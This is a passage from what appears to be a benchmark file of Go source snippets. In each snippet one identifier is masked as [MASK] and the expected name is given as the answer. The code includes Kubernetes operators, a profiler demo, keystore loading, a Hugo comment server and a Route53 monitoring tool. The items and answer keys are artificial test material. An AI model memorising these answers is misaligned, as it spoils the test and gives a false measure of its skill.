{ var dBuf = make([]byte, base64.StdEncoding.DecodedLen(len(data))) n, err := base64.StdEncoding.Decode(dBuf, data) return dBuf[:n], err } ",keyLen 974,"package main import ( ""fmt"" ""log"" ""math/rand"" ""net/http"" ""strconv"" ""time"" ""cloud.google.com/go/profiler"" ) const ( serviceName = ""golang-profiler"" ) var ( projectID = ""csp-testing"" ) func main() { log.Printf(""[golang-profiler:main] ProjectID: %v"", projectID) if err := profiler.Start(profiler.Config{ ProjectID: projectID, Service: serviceName, ServiceVersion: ""go-eks"", DebugLogging: true}); err != nil { log.Fatalln(err) } http.HandleFunc(""/"", handle) log.Fatal(http.ListenAndServe("":8080"", nil)) } func handle(w http.ResponseWriter, r *http.Request) { log.Printf(""[golang-profiler:handle] Entered"") // spin CPU for that many seconds delay := rand.Intn(5) blockCPU(delay) fmt.Fprintln(w, ""blocked CPU for ""+strconv.Itoa(delay)) log.Printf(""[golang-profiler:handle] Exited"") } func blockCPU(delay int) { log.Printf(""blocking CPU"") result := 0 [MASK] := time.Now().Local().Add(time.Second * time.Duration(delay)) for true { r := rand.New(rand.NewSource(99)) result += r.Int() * r.Int() if time.Now().After( [MASK] ) { log.Print(""exiting loop"") return } } } ",timeToExit 975,"// Copyright 2016 <> (@grapebaba) // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package main import ( ""flag"" ""fmt"" ""os"" ""os/signal"" ""runtime"" ""time"" ""github.com/Sirupsen/logrus"" ""github.com/grapebaba/fabric-operator/pkg/fabric"" ""github.com/grapebaba/fabric-operator/pkg/util/k8sutil"" ""github.com/grapebaba/fabric-operator/pkg/util/k8sutil/election"" ""github.com/grapebaba/fabric-operator/pkg/util/k8sutil/election/resourcelock"" ""github.com/grapebaba/fabric-operator/pkg/util/retryutil"" ""github.com/grapebaba/fabric-operator/version"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""k8s.io/client-go/kubernetes"" ""k8s.io/client-go/tools/record"" ) var ( namespace string name string printVersion bool ) var ( leaseDuration = 15 * time.Second renewDuration = 5 * time.Second retryPeriod = 3 * time.Second ) func init() { flag.BoolVar(&printVersion, ""version"", false, ""Show version and quit"") flag.Parse() // Workaround for watching TPR resource. restCfg, err := k8sutil.InClusterConfig() if err != nil { panic(err) } controller.MasterHost = restCfg.Host [MASK] , err := k8sutil.NewTPRClient() if err != nil { panic(err) } controller.KubeHttpCli = [MASK] .Client } func main() { namespace = os.Getenv(""MY_POD_NAMESPACE"") if len(namespace) == 0 { logrus.Fatalf(""must set env MY_POD_NAMESPACE"") } name = os.Getenv(""MY_POD_NAME"") if len(name) == 0 { logrus.Fatalf(""must set env MY_POD_NAME"") } c := make(chan os.Signal, 1) signal.Notify(c) go func() { logrus.Infof(""received signal: %v"", <-c) os.Exit(1) }() if printVersion { fmt.Println(""fabric-operator Version:"", version.Version) fmt.Println(""Git SHA:"", version.GitSHA) fmt.Println(""Go Version:"", runtime.Version()) fmt.Printf(""Go OS/Arch: %s/%s\n"", runtime.GOOS, runtime.GOARCH) os.Exit(0) } logrus.Infof(""fabric-operator Version: %v"", version.Version) logrus.Infof(""Git SHA: %s"", version.GitSHA) logrus.Infof(""Go Version: %s"", runtime.Version()) logrus.Infof(""Go OS/Arch: %s/%s"", runtime.GOOS, runtime.GOARCH) id, err := os.Hostname() if err != nil { logrus.Fatalf(""failed to get hostname: %v"", err) } // https://github.com/kubernetes/client-go/issues/28 rl := &resourcelock.EndpointsLock{ EndpointsMeta: metav1.ObjectMeta{ Namespace: namespace, Name: ""fabric-operator"", }, Client: k8sutil.MustNewKubeClient(), LockConfig: resourcelock.ResourceLockConfig{ Identity: id, EventRecorder: &record.FakeRecorder{}, }, } election.RunOrDie(election.LeaderElectionConfig{ Lock: rl, LeaseDuration: leaseDuration, RenewDeadline: renewDuration, RetryPeriod: retryPeriod, Callbacks: election.LeaderCallbacks{ OnStartedLeading: run, OnStoppedLeading: func() { logrus.Fatalf(""leader election lost"") }, }, }) panic(""unreachable"") } func run(stop <-chan struct{}) { cfg := newControllerConfig() if err := cfg.Validate(); err != nil { logrus.Fatalf(""invalid operator config: %v"", err) } for { c := controller.New(cfg) err := c.Run() switch err { case controller.ErrVersionOutdated: default: logrus.Fatalf(""controller Run() ended with failure: %v"", err) } } } func newControllerConfig() controller.Config { kubeCli := k8sutil.MustNewKubeClient() serviceAccount, err := getMyPodServiceAccount(kubeCli) if err != nil { logrus.Fatalf(""fail to get my pod's service account: %v"", err) } cfg := controller.Config{ Namespace: namespace, ServiceAccount: serviceAccount, KubeCli: kubeCli, } return cfg } func getMyPodServiceAccount(kubeCli kubernetes.Interface) (string, error) { var sa string err := retryutil.Retry(5*time.Second, 100, func() (bool, error) { pod, err := kubeCli.CoreV1().Pods(namespace).Get(name, metav1.GetOptions{}) if err != nil { logrus.Errorf(""fail to get operator pod (%s): %v"", name, err) return false, nil } sa = pod.Spec.ServiceAccountName return true, nil }) return sa, err } ",restCli 976,"// // Copyright 2021 IBM Corporation // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // package controllers import ( ""context"" ""reflect"" ""sort"" ""time"" ""k8s.io/apimachinery/pkg/api/errors"" ""sigs.k8s.io/controller-runtime/pkg/reconcile"" ""github.com/IBM/ibm-auditlogging-operator/controllers/util"" ""github.com/go-logr/logr"" ""k8s.io/apimachinery/pkg/runtime"" ""k8s.io/client-go/tools/record"" ctrl ""sigs.k8s.io/controller-runtime"" ""sigs.k8s.io/controller-runtime/pkg/client"" certmgr ""github.com/ibm/ibm-cert-manager-operator/apis/certmanager/v1alpha1"" appsv1 ""k8s.io/api/apps/v1"" batchv1 ""k8s.io/api/batch/v1"" corev1 ""k8s.io/api/core/v1"" rbacv1 ""k8s.io/api/rbac/v1"" operatorv1 ""github.com/IBM/ibm-auditlogging-operator/api/v1"" operatorv1alpha1 ""github.com/IBM/ibm-auditlogging-operator/api/v1alpha1"" ""github.com/IBM/ibm-auditlogging-operator/controllers/constant"" res ""github.com/IBM/ibm-auditlogging-operator/controllers/resources"" opversion ""github.com/IBM/ibm-auditlogging-operator/version"" ) // AuditLoggingReconciler reconciles a AuditLogging object type AuditLoggingReconciler struct { client.Client Log logr.Logger Scheme *runtime.Scheme Recorder record.EventRecorder } // Reconcile reconciles func (r *AuditLoggingReconciler) Reconcile(ctx context.Context, req ctrl.Request) (ctrl.Result, error) { _ = context.Background() _ = r.Log.WithName(""controller_auditlogging"").WithValues(""request"", req.NamespacedName) instance := &operatorv1alpha1.AuditLogging{} err := r.Client.Get(context.TODO(), req.NamespacedName, instance) if err != nil { if errors.IsNotFound(err) { // Request object not found, could have been deleted after reconcile request. // Owned objects are automatically garbage collected. For additional cleanup logic use finalizers. // Return and don't requeue return reconcile.Result{}, nil } // Error reading the object - requeue the request. return reconcile.Result{}, err } // Set a default Status value if len(instance.Status.Nodes) == 0 { instance.Status.Nodes = util.DefaultStatusForCR instance.Status.Versions.Reconciled = opversion.Version err = r.Client.Status().Update(context.TODO(), instance) if err != nil { r.Log.Error(err, ""Failed to set AuditLogging default status"") return reconcile.Result{}, err } } auditLoggingList := &operatorv1alpha1.AuditLoggingList{} if err := r.Client.List(context.TODO(), auditLoggingList); err == nil && len(auditLoggingList.Items) > 1 { msg := ""Only one instance of AuditLogging per cluster. Delete other instances to proceed."" r.Log.Info(msg) r.updateEvent(instance, msg, corev1.EventTypeWarning, ""Not Allowed"") // Return and don't requeue return reconcile.Result{}, nil } [MASK] , err := util.GetCSNamespace() if err != nil { return reconcile.Result{}, err } commonAuditList := &operatorv1.CommonAuditList{} if err := r.Client.List(context.TODO(), commonAuditList, client.InNamespace( [MASK] )); err == nil && len(commonAuditList.Items) > 0 { msg := ""CommonAudit cannot run alongside AuditLogging in the same namespace. Delete one or the other to proceed."" r.Log.Info(msg) r.updateEvent(instance, msg, corev1.EventTypeWarning, ""Not Allowed"") // Return and don't requeue return reconcile.Result{}, nil } r.updateEvent(instance, ""Instance found"", corev1.EventTypeNormal, ""Initializing"") if instance.Spec.PolicyController.EnableAuditPolicy == """" { return r.enablePolicyControllerByDefault(instance) } var recResult reconcile.Result var recErr error reconcilers := []func(*operatorv1alpha1.AuditLogging, string) (reconcile.Result, error){ r.reconcileJob, r.reconcilePolicyControllerDeployment, r.reconcileAuditConfigMaps, r.reconcileAuditCerts, r.reconcileServiceAccount, r.reconcileService, r.reconcileFluentdDaemonSet, r.updateStatus, } for _, rec := range reconcilers { recResult, recErr = rec(instance, [MASK] ) if recErr != nil || recResult.Requeue { return recResult, recErr } } r.updateEvent(instance, ""Deployed ""+constant.AuditLoggingComponentName+"" successfully"", corev1.EventTypeNormal, ""Deployed"") r.Log.Info(""Reconciliation successful!"", ""Name"", instance.Name) // since we updated the status in the Audit Logging CR, sleep 5 seconds to allow the CR to be refreshed. time.Sleep(5 * time.Second) return ctrl.Result{}, nil } // SetupWithManager setups up the manager func (r *AuditLoggingReconciler) SetupWithManager(mgr ctrl.Manager) error { return ctrl.NewControllerManagedBy(mgr). For(&operatorv1alpha1.AuditLogging{}). Owns(&appsv1.DaemonSet{}).Owns(&corev1.ConfigMap{}).Owns(&certmgr.Certificate{}).Owns(&corev1.ServiceAccount{}). Owns(&rbacv1.Role{}).Owns(&rbacv1.RoleBinding{}).Owns(&corev1.Service{}).Owns(&batchv1.Job{}).Owns(&appsv1.Deployment{}). Complete(r) } // To support backwards compatibility for MCM, set policyEnabled to true to deploy policy controller by default func (r *AuditLoggingReconciler) enablePolicyControllerByDefault(instance *operatorv1alpha1.AuditLogging) (reconcile.Result, error) { instance.Spec.PolicyController.EnableAuditPolicy = constant.DefaultEnablePolicyController r.Log.Info(""Setting policyController.enabled to ""+constant.DefaultEnablePolicyController, ""Name"", instance.Name) if err := r.Client.Update(context.TODO(), instance); err != nil { return reconcile.Result{}, err } return reconcile.Result{}, nil } func (r *AuditLoggingReconciler) updateStatus(instance *operatorv1alpha1.AuditLogging, namespace string) (reconcile.Result, error) { podList := &corev1.PodList{} listOpts := []client.ListOption{ client.InNamespace(namespace), client.MatchingLabels(util.LabelsForSelector(constant.FluentdName, instance.Name)), } if err := r.Client.List(context.TODO(), podList, listOpts...); err != nil { r.Log.Error(err, ""Failed to list pods"", ""AuditLogging.Namespace"", namespace, ""AuditLogging.Name"", instance.Name) return reconcile.Result{}, err } var podNames []string for _, pod := range podList.Items { podNames = append(podNames, pod.Name) } // Get audit-policy-controller pod too listOpts = []client.ListOption{ client.InNamespace(namespace), client.MatchingLabels(util.LabelsForSelector(res.AuditPolicyControllerDeploy, instance.Name)), } if err := r.Client.List(context.TODO(), podList, listOpts...); err != nil { r.Log.Error(err, ""Failed to list pods"", ""AuditLogging.Namespace"", namespace, ""AuditLogging.Name"", instance.Name) return reconcile.Result{}, err } for _, pod := range podList.Items { podNames = append(podNames, pod.Name) } // if no pods were found set the default status if len(podNames) == 0 { podNames = util.DefaultStatusForCR } else { sort.Strings(podNames) } // Update status.Nodes if needed if !reflect.DeepEqual(podNames, instance.Status.Nodes) || opversion.Version != instance.Status.Versions.Reconciled { instance.Status.Nodes = podNames instance.Status.Versions.Reconciled = opversion.Version r.Log.Info(""Updating Audit Logging status"", ""Name"", instance.Name) err := r.Client.Status().Update(context.TODO(), instance) if err != nil { return reconcile.Result{}, err } } return reconcile.Result{}, nil } func (r *AuditLoggingReconciler) updateEvent(instance *operatorv1alpha1.AuditLogging, message, event, reason string) { r.Recorder.Event(instance, event, reason, message) } ",csNamespace 977,"package common import ( ""crypto/ecdsa"" ""os"" ""path/filepath"" ""github.com/ethereum/go-ethereum/accounts/keystore"" ) // KeystoreFileConfig has all the information needed to load a private key from a key store file type KeystoreFileConfig struct { // Path is the file path for the key store file Path string `mapstructure:""Path""` // Password is the password to decrypt the key store file Password string `mapstructure:""Password""` } // NewKeyFromKeystore creates a private key from a keystore file func NewKeyFromKeystore(cfg KeystoreFileConfig) (*ecdsa.PrivateKey, error) { if cfg.Path == """" && cfg.Password == """" { return nil, nil } [MASK] , err := os.ReadFile(filepath.Clean(cfg.Path)) if err != nil { return nil, err } key, err := keystore.DecryptKey( [MASK] , cfg.Password) if err != nil { return nil, err } return key.PrivateKey, nil } ",keystoreEncrypted 978,"/* Hugocs or Hugo Comment Script is a script that processes POST requests in a specific format and converts them into JSON files that are saved to the filesystem. These files can then be processed using Hugo's readDir and getJSON functions and displayed as comments. Copyright 2016 . Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( ""crypto/md5"" ""encoding/hex"" ""encoding/json"" ""errors"" ""flag"" ""fmt"" ""html/template"" ""io/ioutil"" ""net/http"" ""os"" ""path/filepath"" ""regexp"" ""strings"" ""time"" ) type Comment struct { Name string `json:""name""` Email string `json:""-""` EmailMd5 string `json:""emailMd5""` EmailMd5Salted string `json:""emailMd5Salted""` Website string `json:""website""` AvatarType string `json:""avatarType""` IPAddress string `json:""ipv4Address""` PageID string `json:""pageId""` Body string `json:""body""` Timestamp string `json:""timestamp""` } type Config struct { BaseDir string CommentsDir string ContentDir string Salt string TouchFile string } type Response struct { Message string `json:""message""` IsError bool `json:""isError""` } var config = Config{ BaseDir: ""."", CommentsDir: ""comments"", ContentDir: ""content"", TouchFile: "".comment""} // Used for testing func newComment(w http.ResponseWriter, r *http.Request) { t, _ := template.ParseFiles(""new.html"") t.Execute(w, """") } func saveComment(w http.ResponseWriter, r *http.Request) { // TODO: Allow other content-types for javascript-disabled clients. // Maybe render a HTML template? w.Header().Set(""Content-Type"", ""application/json"") response := Response{ Message: """", IsError: true} if r.Method == ""POST"" { r.ParseForm() _, err := validateComment(r, config.ContentDir) if err != nil { w.WriteHeader(http.StatusBadRequest) response.Message = err.Error() } else { now := time.Now() comment := Comment{ Name: r.Form.Get(""name""), Email: r.Form.Get(""email""), EmailMd5: getMd5(r.Form.Get(""email""), """"), EmailMd5Salted: getMd5(r.Form.Get(""email""), config.Salt), Website: r.Form.Get(""website""), AvatarType: r.Form.Get(""avatar_type""), IPAddress: getIPAddress(r), PageID: r.Form.Get(""page_id""), Body: processBody(r.Form.Get(""body"")), Timestamp: now.Format(time.RFC3339)} // FIXME: Needs error handling jsonData, _ := json.Marshal(comment) filename := buildFilename(comment.Name, comment.Body, buildTimestamp(now)) writePath := filepath.Join(config.CommentsDir, comment.PageID) writeCommentToDisk(jsonData, writePath, filename) //str := fmt.Sprintf( ""%#v"", r ) w.WriteHeader(http.StatusOK) response.Message = ""Thank you for the comment"" response.IsError = false } } else { w.WriteHeader(http.StatusBadRequest) response.Message = ""Must be POST"" } // FIXME: Needs error handling responseJSON, _ := json.Marshal(response) w.Write(responseJSON) } // TODO: Check field lengths to prevent too large comment files // TODO: Error messages should be read from a config file func validateComment(r *http.Request, contentDir string) (string, error) { form := r.Form if len(form.Get(""last_name"")) > 0 { return ""last_name"", errors.New(""You appear to be a spammer, or your browser auto-fills this form."") } if len(form.Get(""name"")) > 128 || regexp.MustCompile(`(?i)[\w\s\d\-]+`).MatchString(form.Get(""name"")) != true { return ""name"", errors.New(""Name is not valid"") } if len(form.Get(""email"")) > 128 || regexp.MustCompile(`^[a-z0-9_.\-\+]+@[a-z0-9_.\-\+]+$`).MatchString(form.Get(""email"")) != true { return ""email"", errors.New(""Email address is not valid"") } if len(form.Get(""website"")) > 128 || form.Get(""website"") != """" && regexp.MustCompile(`(https?:\/\/)?[a-z0-9\-\.]+`).MatchString(form.Get(""website"")) != true { return ""website"", errors.New(""Website is not valid"") } if len(form.Get(""avatar_type"")) > 32 || regexp.MustCompile(`[a-z]+`).MatchString(form.Get(""avatar_type"")) != true { return ""avatar_type"", errors.New(""Avatar type is not valid"") } if len(form.Get(""page_id"")) > 1024 || regexp.MustCompile(`[a-z0-9\-]+(\/[a-z0-9\-]+)*`).MatchString(form.Get(""page_id"")) != true { return ""page_id"", errors.New(""page_id is not valid"") } if len(form.Get(""content_type"")) > 4 || regexp.MustCompile(`[a-z]+`).MatchString(form.Get(""content_type"")) != true { return ""content_type"", errors.New(""Content type is not valid"") } if len(form.Get(""body"")) > 8192 || form.Get(""body"") == """" { return ""body"", errors.New(""You forgot to write the actual comment!"") } if !postExists(form.Get(""page_id""), form.Get(""content_type""), contentDir) { return ""page_id"", errors.New(""Specified post does not exist"") } return """", nil } func isValidPath(path string) bool { if _, err := os.Stat(path); err == nil { return true } //panic(path) return false } func postExists(pageID string, extension string, contentDir string) bool { return isValidPath(filepath.Join(contentDir, pageID+"".""+extension)) } func processBody(body string) string { body = strings.Replace(body, `""""""`, ""%quote%"", -1) body = template.HTMLEscapeString(body) body = strings.Replace(body, ""%quote%"", "">"", -1) return body } // getMd5 generates a md5 checksum for given string with optional salt. // Used here to hash the email address for avatar service URLs. func getMd5(s string, salt string) string { hash := md5.Sum([]byte(s + salt)) return hex.EncodeToString(hash[:]) } func getIPAddress(r *http.Request) string { if r.RemoteAddr != """" { return r.RemoteAddr } // FIXME: This should probably look at other fields instead return ""Unknown"" } func debugJSON(comment Comment) string { str := fmt.Sprintf(""%#v"", comment) return str } func buildFilename(name string, msg string, timestamp string) string { firstWords := getFirstWords(name + "" "" + msg) return timestamp + ""-"" + firstWords + "".json"" } func getFirstWords(s string) string { re, _ := regexp.Compile(`(?i)[a-z]+`) res := re.FindAllStringSubmatch(s, 7) parts := make([]string, 0) for _, part := range res { parts = append(parts, strings.ToLower(part[0])) } joined := strings.Join(parts, ""-"") if len(joined) > 32 { joined = joined[:32] } return strings.TrimRight(joined, "" -"") } /* BuildTimestamp builds a timestamp string to be used as part of the filename for JSON comment files. */ func buildTimestamp(now time.Time) string { dateString := fmt.Sprintf(""%d-%02d-%02d-%02d%02d%02d"", now.Year(), now.Month(), now.Day(), now.Hour(), now.Minute(), now.Second()) return dateString } func writeCommentToDisk(JSON []byte, path string, filename string) error { // If path doesn't exist, create it if !isValidPath(path) { os.MkdirAll(path, os.ModePerm) } fn := filepath.Join(path, filename) // Write file to disk // FIXME: Needs error handling ioutil.WriteFile(fn, JSON, 0600) if config.TouchFile != """" { updateChangeFile(filepath.Join(config.TouchFile)) } return nil } func updateChangeFile(touchFile string) { // FIXME: Needs error handling ioutil.WriteFile(touchFile, []byte("".""), 0600) } func main() { sourceFlag := flag.String(""src"", ""."", ""Full path to the sources dir."") contentFlag := flag.String(""content"", ""content"", ""The content directory. Relative to source dir."") commentsFlag := flag.String(""comments"", ""comments"", ""The directory to save comments. Relative to source dir."") touchFlag := flag.String(""touch"", """", ""File to update when a new comment directory is created. Relative to source dir. Some watch scripts may require this."") addressFlag := flag.String(""address"", """", ""IP address to use for incoming requests. Defaults to any address."") [MASK] := flag.String(""port"", ""8080"", ""Port to listen to for incoming requests."") pathFlag := flag.String(""path"", ""/comment"", ""The url path that is used for comment processing."") saltFlag := flag.String(""salt"", """", ""Salt used when generating hashes for anonymous email addresses"") flag.Parse() config.BaseDir = *sourceFlag config.ContentDir = filepath.Join(*sourceFlag, *contentFlag) config.CommentsDir = filepath.Join(*sourceFlag, *commentsFlag) if *touchFlag != """" { config.TouchFile = filepath.Join(*sourceFlag, *touchFlag) } else { config.TouchFile = """" } config.Salt = *saltFlag serverAddress := *addressFlag + "":"" + * [MASK] http.HandleFunc(*pathFlag, saveComment) http.HandleFunc(""/new"", newComment) http.ListenAndServe(serverAddress, nil) } ",portFlag 979,"package args import ( ""strings"" ""regexp"" ""github.com/mattermost/mattermost-server/v6/model"" ""github.com/salatfreak/mattermost-plugin-move/server/i18n"" ) var ( msgIDExp = regexp.MustCompile(`(?m)^[a-z0-9]+$`) msgURLExp = regexp.MustCompile( `(?m)^(https?://[-_.a-z0-9]+(?::\d+)?)/(?:[-a-z0-9]+)/pl/([a-z0-9]+)`, ) chanNameExp = regexp.MustCompile(`(?m)^[-_a-z0-9]+$`) chanURLExp = regexp.MustCompile( `(?m)^(https?://[-_.a-z0-9]+(?::\d+)?)` + `/(?:[-a-z0-9]+)/channels/([-_a-z0-9]+)$`, ) ) func Parse(args *model.CommandArgs) ([]string, error) { // Get source list [MASK] := strings.Split(args.Command, "" "")[1:] sources := make([]string, 0, len( [MASK] )) for _, word := range( [MASK] ) { if word != """" { sources = append(sources, word) } } if len(sources) == 0 { return nil, i18n.NewError(i18n.MsgErrorNoMessages) } // Extract message IDs from sources for i, source := range(sources) { if match := msgURLExp.FindStringSubmatch(source); len(match) > 0 { if match[1] != args.SiteURL { return nil, i18n.NewError(i18n.MsgErrorOtherInstance) } sources[i] = match[2] } else if !msgIDExp.MatchString(source) { return nil, i18n.NewError(i18n.MsgErrorNotAMessage, ""PostId"", source) } } // Return sources return sources, nil } ",cmdWords 980,"package main import ( ""context"" ""fmt"" ""io/ioutil"" ""os"" ""path/filepath"" ""strings"" ""github.com/aws/aws-sdk-go/aws"" ""github.com/aws/aws-sdk-go/aws/session"" ""github.com/aws/aws-sdk-go/service/route53"" ""github.com/pkg/errors"" log ""github.com/sirupsen/logrus"" ""gopkg.in/yaml.v2"" corev1 ""k8s.io/api/core/v1"" k8sErrors ""k8s.io/apimachinery/pkg/api/errors"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""k8s.io/client-go/kubernetes"" ""k8s.io/client-go/rest"" ""k8s.io/client-go/tools/clientcmd"" ) type scrapeConfig []struct { HonorTimestamps bool `yaml:""honor_timestamps""` JobName string `yaml:""job_name""` MetricsPath string `yaml:""metrics_path""` Params struct { Module []string `yaml:""module""` } `yaml:""params""` RelabelConfigs []struct { SourceLabels []string `yaml:""source_labels,omitempty""` TargetLabel string `yaml:""target_label,omitempty""` Replacement string `yaml:""replacement,omitempty""` } `yaml:""relabel_configs""` Scheme string `yaml:""scheme""` ScrapeInterval string `yaml:""scrape_interval""` ScrapeTimeout string `yaml:""scrape_timeout""` StaticConfigs []struct { Targets []string `yaml:""targets""` Labels struct { Module string `yaml:""module""` } `yaml:""labels""` } `yaml:""static_configs""` } type environmentVariables struct { PublicHostedZoneID string PrivateHostedZoneID string PrometheusNamespace string PrometheusSecretName string MattermostAlertsHook string ExcludedTargets []string AdditionalTargets []string DevMode string BindServers []string } func main() { envVars, err := validateAndGetEnvVars() if err != nil { log.WithError(err).Error(""Environment variable validation failed"") err = sendMattermostErrorNotification(err, ""Environment variable validation failed"") if err != nil { log.WithError(err).Error(""Failed to send Mattermost error notification"") } os.Exit(1) } err = blackboxTargetDiscovery(envVars) if err != nil { log.WithError(err).Error(""Failed to run Blackbox target discovery"") err = sendMattermostErrorNotification(err, ""The Blackbox target discovery failed"") if err != nil { log.WithError(err).Error(""Failed to send Mattermost error notification"") } os.Exit(1) } } // validateEnvironmentVariables is used to validate the environment variables needed by Blackbox target discovery. func validateAndGetEnvVars() (*environmentVariables, error) { envVars := &environmentVariables{} publiHostedZoneID := os.Getenv(""PUBLIC_HOSTED_ZONE_ID"") if len(publiHostedZoneID) == 0 { return nil, errors.Errorf(""PUBLIC_HOSTED_ZONE_ID environment variable is not set"") } envVars.PublicHostedZoneID = publiHostedZoneID [MASK] := os.Getenv(""PRIVATE_HOSTED_ZONE_ID"") if len( [MASK] ) == 0 { return nil, errors.Errorf(""PRIVATE_HOSTED_ZONE_ID environment variable is not set"") } envVars.PrivateHostedZoneID = [MASK] prometheusNamespace := os.Getenv(""PROMETHEUS_NAMESPACE"") if len(prometheusNamespace) == 0 { return nil, errors.Errorf(""PROMETHEUS_NAMESPACE environment variable is not set"") } envVars.PrometheusNamespace = prometheusNamespace excludedTargets := os.Getenv(""EXCLUDED_TARGETS"") if len(excludedTargets) > 0 { envVars.ExcludedTargets = strings.Split(excludedTargets, "","") } additionalTargets := os.Getenv(""ADDITIONAL_TARGETS"") if len(additionalTargets) > 0 { envVars.AdditionalTargets = strings.Split(additionalTargets, "","") } prometheusSecretName := os.Getenv(""PROMETHEUS_SECRET_NAME"") if len(prometheusSecretName) == 0 { return nil, errors.Errorf(""PROMETHEUS_SECRET_NAME environment variable is not set."") } envVars.PrometheusSecretName = prometheusSecretName mattermostAlertsHook := os.Getenv(""MATTERMOST_ALERTS_HOOK"") if len(mattermostAlertsHook) == 0 { return nil, errors.Errorf(""MATTERMOST_ALERTS_HOOK environment variable is not set."") } envVars.MattermostAlertsHook = mattermostAlertsHook developerMode := os.Getenv(""DEVELOPER_MODE"") if len(developerMode) == 0 { envVars.DevMode = ""false"" } else { envVars.DevMode = developerMode } bindServers := os.Getenv(""BIND_SERVERS"") if len(bindServers) > 0 { envVars.BindServers = strings.Split(bindServers, "","") } return envVars, nil } // blackboxTargetDiscovery is used to keep Prometheus up to date with Blackbox targets. func blackboxTargetDiscovery(envVars *environmentVariables) error { log.Infof(""Getting Route53 records for public hostedzone %s"", envVars.PublicHostedZoneID) publicRecords, err := listAllRecordSets(envVars.PublicHostedZoneID) if err != nil { return errors.Wrap(err, ""Unable to get the existing public Route53 records"") } log.Infof(""Getting Route53 records for private hostedzone %s"", envVars.PrivateHostedZoneID) privateRecords, err := listAllRecordSets(envVars.PrivateHostedZoneID) if err != nil { return errors.Wrap(err, ""Unable to get the existing private Route53 records"") } log.Info(""Getting Blackbox targets"") blackBoxTargets := getBlackBoxTargets(publicRecords, privateRecords, envVars.AdditionalTargets, envVars.ExcludedTargets) if len(blackBoxTargets) < 1 { log.Info(""No targets to register, canceling run"") return nil } log.Info(""Getting k8s client"") clientset, err := getClientSet(envVars) if err != nil { return errors.Wrap(err, ""Unable to create k8s clientset"") } log.Info(""Reading scrape config yaml file"") scrapeConfigFile, err := ioutil.ReadFile(""scrapeconfig.yml"") if err != nil { return errors.Wrap(err, ""Error reading scrape config file"") } log.Info(""Parsing scrape config file"") var config scrapeConfig err = yaml.Unmarshal(scrapeConfigFile, &config) if err != nil { return errors.Wrap(err, ""Error parsing scrape config file"") } log.Info(""Adding new targets in config"") config[0].StaticConfigs[0].Targets = blackBoxTargets //Adding Bind server targets for i, bindServer := range envVars.BindServers { config[i+1].StaticConfigs[0].Targets = []string{bindServer} } data, err := yaml.Marshal(&config) if err != nil { return errors.Wrap(err, ""Error running marshal for config file"") } secret := &corev1.Secret{ ObjectMeta: metav1.ObjectMeta{ Name: envVars.PrometheusSecretName, }, Data: map[string][]byte{""scrape_config_secret.yaml"": data}, } log.Info(""Creating/updating Blackbox targets Prometheus secret"") _, err = createOrUpdateSecret(envVars.PrometheusNamespace, envVars.PrometheusSecretName, secret, clientset) if err != nil { return errors.Wrap(err, ""failed to create the Blackbox targets Prometheus secret"") } log.Info(""Successfully updated Blackbox targets"") return nil } // getClientSet gets the k8s clientset func getClientSet(envVars *environmentVariables) (*kubernetes.Clientset, error) { if envVars.DevMode == ""true"" { kubeconfig := filepath.Join( os.Getenv(""HOME""), "".kube"", ""config"", ) config, err := clientcmd.BuildConfigFromFlags("""", kubeconfig) if err != nil { return nil, err } clientset, err := kubernetes.NewForConfig(config) if err != nil { return nil, err } return clientset, nil } config, err := rest.InClusterConfig() if err != nil { return nil, err } clientset, err := kubernetes.NewForConfig(config) if err != nil { return nil, err } return clientset, nil } // listAllRecordSets is used to get the existing Route53 Records func listAllRecordSets(hostedZoneID string) ([]*route53.ResourceRecordSet, error) { var err error sess, err := session.NewSession() if err != nil { return nil, err } // Create Route53 service client svc := route53.New(sess) req := route53.ListResourceRecordSetsInput{ HostedZoneId: aws.String(hostedZoneID), StartRecordName: aws.String(""c""), StartRecordType: aws.String(""CNAME""), } var rrsets []*route53.ResourceRecordSet for { var resp *route53.ListResourceRecordSetsOutput resp, err = svc.ListResourceRecordSets(&req) if err != nil { return nil, err } rrsets = append(rrsets, resp.ResourceRecordSets...) if *resp.IsTruncated { req.StartRecordName = resp.NextRecordName req.StartRecordType = resp.NextRecordType req.StartRecordIdentifier = resp.NextRecordIdentifier } else { break } } return rrsets, nil } // getBlackBoxTargets is used to get all Blackbox target that need to be registered. func getBlackBoxTargets(publicRecords, privateRecords []*route53.ResourceRecordSet, additionalTargets, excludedTargets []string) []string { blackBoxTargets := []string{} for _, record := range publicRecords { if record.SetIdentifier != nil { if !isExcludedTarget(excludedTargets, *record.Name) && !strings.HasPrefix(*record.Name, ""_"") && !strings.Contains(*record.SetIdentifier, ""[hibernating]"") { record := strings.TrimSuffix(*record.Name, ""."") blackBoxTargets = append(blackBoxTargets, fmt.Sprintf(""%s/api/v4/system/ping"", record)) } } } for _, record := range privateRecords { if !isExcludedTarget(excludedTargets, *record.Name) && !strings.HasPrefix(*record.Name, ""_"") { if strings.Contains(*record.Name, ""-grpc."") { blackBoxTargets = append(blackBoxTargets, fmt.Sprintf(""%s:9090"", *record.Name)) } } } for _, target := range additionalTargets { log.Infof(""Adding additional target %s"", target) blackBoxTargets = append(blackBoxTargets, target) } log.Info(""Returning Blackbox targets"") return blackBoxTargets } // isExcludedTarget checks if a Route53 record is in the excluded targets func isExcludedTarget(excludedTargets []string, record string) bool { if len(excludedTargets) > 0 { for _, target := range excludedTargets { if target == record { 